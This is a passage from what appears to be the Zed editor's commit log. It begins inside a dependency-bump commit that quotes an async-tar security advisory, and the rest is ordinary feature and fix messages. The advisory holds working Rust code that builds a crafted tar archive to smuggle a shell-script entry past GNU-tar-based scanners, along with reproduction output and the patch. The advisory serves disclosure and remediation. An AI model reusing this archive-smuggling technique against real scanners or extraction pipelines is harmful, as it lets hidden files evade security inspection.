fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Lukas Wirth
b51f967d8b
Thin out unnecessary dependencies from core crates (#60977)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 15:02:41 +00:00
Lukas Wirth
f7cf09b367
language_model: Fix compilation on wasm (#60955)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 08:59:10 +00:00
Danilo Leal
90b3aa0b3b
picker: Improve multi-select discoverability and rendering (#60919)
This PR reworks how multi-select mode is rendered in pickers (only used
by the file finder and text finder).

The "Multi Select" entry previously lived inside the footer's Actions
menu, which was hard to discover and its toggle checkmark misaligned the
menu's keybinding column. This PR changes to an icon button at the
far-roght edge of the search editor, with a tooltip showing the
keybinding to toggle it.

Also made each list item use the actual Checkbox component instead of a
bespoke re-implementation of it. And in doing so, added a few design
improvements to the list item so that it received the checkbox while
preserving proper styles for each interaction state, as well as
displaying the keybinding to select the item or check the item.

Here's a quick video, showing these changes off:


https://github.com/user-attachments/assets/e142f7d1-87ba-4258-844b-953ed06237bd

Release Notes:

- Improved multi-select in the file finder and text finder: the toggle
now lives in the search bar with a `cmd-shift-s` keybinding, and
selection checkboxes render inside list items.
2026-07-13 18:21:15 +00:00
Cameron Mcloughlin
2268045a11
a11y: Landmarks and menu improvements (#60397)
Fixes menu a11y, and adds landmarks with `F6`-navigation.

Also fixes a GPUI bug, and adds debug actions for dumping a11y tree
info.

Since `F6` was already in use by the pause debugger keybind, also
tightens up the debugger keybind context so they require an active
debugger session. When there is one active, `F6` stays as pause
debugger. `ctrl-F6` always works to go to the next landmark.

Also adds an "accessible mode" setting. Currently, this only controls
whether we show all menus all the time, but I suspect it will expand
significantly in the future.

Also adds `.aria_keyshortcuts()` API, but it's not wired up within
accesskit adapters, so is not yet reported to screen readers.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-13 16:37:28 +00:00
Karsten
8e06c323ae
Drop the unused avif feature from the image dependency (#60897)
# Objective

Every build of zed (and of every downstream gpui consumer) currently
compiles rav1e, a full AV1 video encoder, because `image`'s default
`avif` feature is enabled. That feature only provides `AvifEncoder`;
AVIF *decoding* requires the separate, non-default `avif-native` feature
(dav1d). So AVIF files do not decode anywhere in zed today, nothing
encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e
plus its support crates are dead weight in every clean build.

## Solution

Pin the workspace `image` dependency to its default feature set minus
`avif`.

No behavior changes: AVIF files fail to decode exactly as before, and
`ImageFormat::Avif` still exists (the enum is not feature-gated), so the
`image_viewer` match arm compiles unchanged. The `"avif"` entry in
gpui's supported-extension list is deliberately left untouched to keep
the diff minimal; loading such files fails identically before and after.

## Testing

- `cargo metadata` node diff (before vs after, all 1832 resolved
packages): the only change in the entire graph is `image` losing
`avif`/`default`/`default-formats`.
- `cargo tree -i rav1e` on the Linux host, plus `--target
aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse
dependencies on any platform.
- `rg -i avif crates/` finds only string labels (an extension list in
`gpui`, a format name in `image_viewer`, an icon mapping in `theme`);
`AvifEncoder` is never referenced.
- `cargo check -p gpui` passes.
- Isolated probe crate depending on image 0.25.10 alone (cold builds,
Linux, 16 threads), default vs default-minus-avif: release drops from
191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from
75 to 42 CPU-seconds and 549 to 342 MB.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (n/a:
manifest-only change)
- [x] The content adheres to Zed's UI standards (n/a: no UI change)
- [x] Tests cover the new/changed behavior (no behavior change; CI
covers compilation)
- [x] Performance impact has been considered and is acceptable
(build-time improvement only)

---

Release Notes:

- N/A
2026-07-13 12:24:24 +00:00
Dino
d8ecc302c6
fs: Update trash crate version (#60899)
# Objective

Fix errors in Windows when trashing files from the Git Panel. Closes
#60716.

## Solution

The solution and discussion is available at
https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix
was fully done on the `trash` crate. Original discussion of this issue
can be found at https://github.com/zed-industries/zed/pull/59595 .

## Testing

Testing was performed manually on a Windows machine by updating Zed's
`fs` crate dependencies to point at the updated code and then building
from source and testing out the same exact path, namely:

1. Create a new untracked file
2. Trash the file from the Git Panel's context menu
3. Confirm that, after confirming that you wish to trash the file, the
file is trash and no error is shown

Since this whole trash-tracking logic was implemented in the context of
the project panel's undo system, I also confirmed that the changes in
the crate's code didn't affect trashing and restoring on Windows.

## Self-Review Checklist:

N/A

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518
</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02
</details>

---

Release Notes:

- Fixed issue when trashing untracked files in Git Panel on Windows
2026-07-13 12:14:37 +00:00
Cameron Mcloughlin
8f92822cbf
agent: Sandbox security review and docs update (#60291)
Closes security loopholes and updates docs:
- installs seccomp filter for blocking naughty syscalls
- tightens macos seatbelt profile
- fetch tool responses that redirect are now constrained by allowed
domains list

Also adds a few "Learn More" buttons that link to the new docs.

Also fixes a bug where the agent would try to create a
`~/.config/zed/AGENTS.md` directory

Also adds unicode confusable detection to URL/path privilege escalation
prompts.

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-10 22:51:41 +00:00
Richard Feldman
dd68454633
Update wayland-backend to fix Wayland file dialog crash (#60621)
On Wayland, closing a window in the brief gap between requesting a
portal file dialog and ashpd exporting the window's surface (used to
parent the dialog) crashed Zed with `Unknown opcode 0 for object
<anonymous>@0`
([ZED-9KB](https://zed-dev.sentry.io/issues/7568720776/)). When the
export request fails because the surface is already dead,
wayland-scanner's generated code silently returns an inert proxy, and
ashpd's `Drop` impl later sends `destroy` on it — which wayland-backend
0.3.11 answers with a panic, because it looks up the request opcode
before checking whether the object is null. wayland-backend 0.3.15 fixes
this
([Smithay/wayland-rs#890](https://github.com/Smithay/wayland-rs/issues/890))
by returning an error instead, which the generated destructor discards,
so the drop becomes a harmless no-op. This bumps the lockfile to 0.3.15
and raises the version floor in `gpui_linux` so the fix can't silently
regress via a fresh lockfile.

Closes FR-100

Release Notes:

- Fixed a crash on Linux (Wayland) when a window was closed just as a
file dialog was being opened.
2026-07-08 20:37:57 +00:00
Keith Hall
6b733d1058
search: Bump fancy-regex dependency and enable CRLF mode (#55471)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #43396

Release Notes:

- Project search now supports CRLF line endings correctly, as well as
other regex features like subroutine calls
2026-07-08 16:56:45 +00:00
zed-zippy[bot]
6979d7281f
Bump Zed to v1.12.0 (#60600)
Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-08 16:06:44 +00:00
Matt Good
950ec7943f
editor: Decode escaped characters in hover popover links (#55973)
Decodes url escape sequences in hover preview `file:///` links like
escaped
spaces in the file path.

I'm working on an LSP and happened to be working with some files in a
directory with spaces. When adding Markdown links with `file:///` the
`%20` escape for spaces was being included verbatim in the path that Zed
tried to open.

I'm reusing the lines from `markdown_preview_view.rs` for decoding. In
the existing tests I don't see coverage for `file:///` links. If you'd
like some tests for this can you point me to any examples to start from?

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed decoding spaces and other escaped characters in `file://` links
used in hover popovers

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
2026-07-08 09:01:58 +00:00
Anant Goel
d12b980ee0
bedrock: Add native support for Bedrock Mantle models (#60480)
Adds native support for AWS Bedrock's Mantle endpoint
(`bedrock-mantle`), which serves models with no `Converse`/`Invoke`
support on `bedrock-runtime`, such as GPT-5.5, GPT-5.4, and Grok 4.3 but
more importantly **open-weight** models

Closes #60471 

## What's changed

- Renamed the existing `Model` enum in the `bedrock` crate to
`ConverseModel`, and added a new `MantleModel` enum for Mantle-only
models. Mantle models reuse the existing OpenAI-compatible Chat
Completions/Responses request and response plumbing
(`into_open_ai`/`into_open_ai_response`,
`OpenAiEventMapper`/`OpenAiResponseEventMapper`) already used by the
native OpenAI and OpenAI-compatible providers, rather than introducing
new marshalling code.
- Added a `BedrockMantleModel` language model that routes requests to
the `bedrock-mantle` endpoint, dispatching to Chat Completions or the
Responses API depending on the model. Mantle models appear in the model
picker alongside Converse models under the same Bedrock provider.
- Added region gating: `bedrock-mantle` is only available in a subset of
AWS Regions, so using a Mantle model outside of them surfaces a clear
error naming the current Region and the supported ones, instead of an
opaque HTTP failure.
- Implemented Bedrock bearer token authentication for Mantle requests: a
configured Bedrock API key is used as-is, and every other auth method
(IAM credentials, named profile, SSO, automatic) derives a short-term
token by locally SigV4-presigning a `CallWithBearerToken` request. This
requires no extra network round trip and no token caching, since
re-signing locally is cheap.
- Added a specific error for the 403 you get when your credentials have
`bedrock:CallWithBearerToken` but not the separate
`bedrock-mantle:CallWithBearerToken` permission Mantle models require,
since this is the most common misconfiguration.
- Added a `mantle_available_models` setting so custom models served
through `bedrock-mantle` can be configured, the same way other providers
support custom models via `available_models`.
- Documented Mantle models and the new setting in the Amazon Bedrock
section of [Use a
Gateway](https://zed.dev/docs/ai/use-a-gateway#amazon-bedrock).

## Testing

- Added unit tests covering: the local SigV4 bearer-token signing
(including a byte-for-byte cross-check against a reference
implementation), Mantle endpoint URL construction, the
Mantle-supported-regions list, thinking-effort normalization, and the
settings-to-model protocol mapping.
- `cargo test -p bedrock -p language_models -p settings_content -p
settings` passes.
- `./script/clippy` passes with no new warnings.

Release Notes:

- Added native support for AWS Bedrock's Mantle endpoint, enabling
GPT-5.5, GPT-5.4, and Grok 4.3 through the Amazon Bedrock provider.
2026-07-07 22:20:34 +00:00
Ben Brandt
c05b439174
acp: Show descriptions for elicitation options (#60527)
<img width="683" height="781" alt="image"
src="https://github.com/user-attachments/assets/bcf1bc75-9bb4-4ddf-88d8-c09a4aa3f34b"
/>


Release Notes:

- N/A
2026-07-07 11:45:59 +00:00
hiro / THETIME
59c021d8dc
copilot_ui: Fix Copilot sign-in window focus on Hyprland (#59933)
# Objective

The Copilot sign-in dialog was created without an `app_id` or window
title, resulting in an empty WM class/title on Linux. Tiling window
managers with class-based no-focus rules (like Hyprland's default
configuration in Omarchy) treat such windows as anonymous popups and
refuse to focus them, making the dialog impossible to interact with.

## Solution

Set both `app_id` and window title on the Copilot code verification
window, following the established pattern used in other UI components
like `agent_ui` and `settings_ui`.

Added `release_channel` as a dependency to
`crates/copilot_ui/Cargo.toml` and called
`app_id(ReleaseChannel::app_id(cx))` and `window_title("Use GitHub
Copilot in Zed")` in `open_copilot_code_verification_window`.

## Testing

Verified on Hyprland (Omarchy) by inspecting window properties with
`hyprctl clients`:

**Before (empty class/title):**

```
Window 5606ee1dd280 -> :
    class: 
    title: 
    acceptsInput: 0
```

**After (with proper class/title):**

```
Window 5606ee22b660 -> Use GitHub Copilot in Zed:
    class: dev.zed.Zed-Dev
    title: Use GitHub Copilot in Zed
    acceptsInput: 1
```

The dialog now receives keyboard focus and mouse input correctly on
Hyprland. I tested on Linux only; this fix lives in the window creation
call so it is a no-op on macOS and Windows where `app_id` is ignored.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Copilot sign-in window not being focusable on Hyprland and
similar tiling window managers

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-07-07 10:27:57 +00:00
counterfactual5
a956add0b6
Fix MCP tools with $ref/$defs being silently rejected (#60165)
Closes #60162.

MCP servers whose tool `inputSchema` uses `$ref`/`$defs` (e.g., Notion
MCP v2.x, and any server using Zod/Pydantic-generated schemas) are
silently rejected with:

```
ERROR Schema cannot be made compatible because it contains "$ref"
```

The affected tools are dropped from the agent panel — the user never
sees them and there is no user-visible error.

## Root cause

`adapt_to_json_schema_subset` rejects any schema containing `$ref` via
`UNSUPPORTED_KEYS`:

```rust
const UNSUPPORTED_KEYS: [&str; 4] = ["if", "then", "else", "$ref"];
```

This is hit by every provider that uses `JsonSchemaSubset` format
(Google Gemini, xAI Grok, OpenAI-compatible proxies, Vercel AI Gateway,
Copilot Chat for Google/xAI vendors, OpenRouter for gemini/grok models).
Providers using `JsonSchema` (Anthropic direct, OpenAI direct) don't hit
this check — `$ref` is passed through to the API, which may or may not
handle it correctly.

This is not an edge case. Every modern MCP server using Zod
(TypeScript), Pydantic (Python), or JSON Schema with shared definitions
generates `$ref`/`$defs` in tool schemas.

## Fix

Add a `resolve_refs` step in `adapt_schema_to_format` that dereferences
all `$ref` pointers using the document's own `$defs` (or legacy
`definitions`) map, making the schema self-contained before
format-specific processing. Applied at the entry point so both
`JsonSchema` and `JsonSchemaSubset` formats benefit.

**Scope note:** previously `JsonSchema` providers (Anthropic direct,
OpenAI direct) received the raw `$ref`/`$defs` and were expected to
handle it themselves — which most do not. After this change, both paths
receive a self-contained schema with refs inlined. This is intentional:
it fixes the same root cause for both paths and avoids provider-specific
behavior divergence.

Supported `$ref` forms:
- `#/$defs/<name>` (JSON Schema draft 2019-09+)
- `#/definitions/<name>` (draft 4-7 legacy)

Edge cases:
- **Nested `$ref`** (definition references another definition): resolved
recursively.
- **Sibling properties alongside `$ref`** (e.g. `{ "$ref": "...",
"description": "..." }`, legal under draft 2019-09+): merged onto the
resolved definition, with siblings overriding the definition's keys.
- **Cyclic references** (A → B → A, or self-referential schemas like a
Tree node): replaced with an empty schema `{}` ("any JSON value"). The
tool still works, just without type info for that recursive field.
- **Unsupported `$ref` forms** (e.g., external URLs): returns an error
with a clear message.
- **Missing definition target**: returns an error naming the missing
ref.

## Testing

Added 10 unit tests in `crates/language_model_core/src/tool_schema.rs`
that cover the patterns produced by Zod/Pydantic-generated MCP schemas:

- `test_refs_are_resolved_via_adapt_schema_to_format` — basic `$ref` →
`$defs` resolution
- `test_refs_in_defs_are_resolved` — nested `$ref` (definition
references another definition)
- `test_refs_in_array_items_are_resolved` — `$ref` inside `array.items`
- `test_legacy_definitions_prefix_is_supported` — old
`#/definitions/<name>` prefix
- `test_schema_without_defs_is_unchanged` — schemas with no `$defs` are
unaffected
- `test_refs_fail_for_unsupported_prefix` — external URL refs error
clearly
- `test_refs_fail_for_missing_definition` — missing target errors
clearly
- `test_cyclic_refs_are_replaced_with_empty_schema` — A → B → A cycle
replaced with `{}`
- `test_self_referential_ref_is_replaced_with_empty_schema` — Tree-like
self-ref replaced with `{}`
- `test_ref_sibling_properties_are_preserved` — sibling properties
alongside `$ref` are merged onto the resolved definition

Existing tests (which call `adapt_to_json_schema_subset` and
`preprocess_json_schema` directly) are unaffected — the fix is additive
at the `adapt_schema_to_format` level.

## Disclosure

I used an LLM to help draft the implementation and tests. I reviewed and
understand the change — it adds one new function (`resolve_refs`) with
two helpers (`parse_ref`, `resolve_refs_recursive`), plus unit tests.

Release Notes:

- Fixed MCP tools with `$ref`/`$defs` in their `inputSchema` being
silently rejected by providers using the JSON Schema Subset format
(Google Gemini, xAI Grok, OpenAI-compatible proxies, etc.). Tools from
servers like Notion MCP v2.x, and any server using Zod or
Pydantic-generated schemas, now work correctly.

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
2026-07-07 07:56:02 +00:00
Richard Feldman
28c2e7d1e4
Fix tree-sitter-markdown scanner serialize buffer overflow (#60312)
Zed bundles the markdown grammar's block scanner natively, and its
`serialize()` `memcpy`s the open-block stack into tree-sitter's fixed
1024-byte serialization buffer with no bounds check. Markdown with
roughly 255+ nested blocks overflows that buffer, and because it sits at
the front of `struct TSParser`, the overflow clobbers the adjacent
parse-stack pointer and heap. Debug builds of the tree-sitter runtime
catch this with an assertion, but release builds like Zed's have no
check and silently corrupt parser memory — which is why this surfaced as
wild crashes deep in tree-sitter's parse stack rather than clean
failures. Still open upstream as
tree-sitter-grammars/tree-sitter-markdown#243.

This PR points `tree-sitter-md` at a `zed-industries` fork whose
`serialize()` refuses to write state that doesn't fit (bounded by the
same running counter the header writes advance, so the check can't
drift). The scanner then deserializes to a fresh state, and the
pathologically nested region surfaces as ordinary tree-sitter `ERROR`
nodes — visible, safe degradation for an adversarial input class,
deliberately chosen over the two alternatives: truncating the block
stack would deserialize into a plausible-but-wrong state and produce
silently incorrect trees, and the scanner ABI offers no error channel at
all (`serialize()` returns a length into a fixed buffer; there is no way
to fail a parse). A nesting-depth cap at block-open time would give
fully deterministic semantics, but that's a behavior change across 13
scanner call sites that belongs upstream, not in a hotfix fork.

The pinned branch is upstream's `9a23c1a9` (the revision Zed already
pinned) plus exactly two commits, for easy review: the guard
(zed-industries/tree-sitter-markdown@179422edf8)
and regression tests
(zed-industries/tree-sitter-markdown@b596e73728).
The deep-nesting test aborts on the unguarded scanner and passes with
the guard; a moderate-nesting test pins that inputs fitting the buffer
still parse cleanly. The same change is also up as
zed-industries/tree-sitter-markdown#1 into the fork's default branch
(`split_parser`), so future pin bumps don't lose it; if upstream fixes
#243, we can drop the fork entirely on the next bump.

Closes FR-115

Release Notes:

- Fixed a potential crash when editing Markdown with deeply nested
blocks
2026-07-07 07:28:33 +00:00
Ben Brandt
fa8540ff62
Update Wasmtime dependencies (#60341)
Brings in the latest LTS security and bug fixes

Release Notes:

- N/A
2026-07-03 18:44:17 +00:00
María Craig
4da73e1970
git_ui: Add configure and docs links to commit message tooltip (#60357)
When no LLM provider is configured, hovering the disabled "Generate
Commit Message" button in the git panel/commit modal previously showed a
plain, non-interactive tooltip with no way to act on it.

This tooltip now includes two links:
- **Configure Provider** — jumps directly to the "LLM Providers"
settings sub-page.
- **See Docs** — opens `https://zed.dev/docs/ai/llm-providers`.

Also adds `IconButton::hoverable_tooltip`, mirroring the existing
`.tooltip(...)` forwarding, since `IconButton` didn't previously expose
the underlying `ButtonLike::hoverable_tooltip` capability needed for
interactive tooltip content.

Release Notes:

- Improved the commit message tooltip to link directly to LLM provider
settings and documentation when no provider is configured.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-07-03 14:56:37 +00:00
august
9448417157
project_symbols: Add preview to project symbols picker (#59863)
Candidate fix for #59822.

Adds a live preview pane to the project symbols picker, matching the
file finder and project search pickers. When the selection moves, the
selected symbol's file is shown in the preview with its declaration line
highlighted and vertically centered.

## Changes
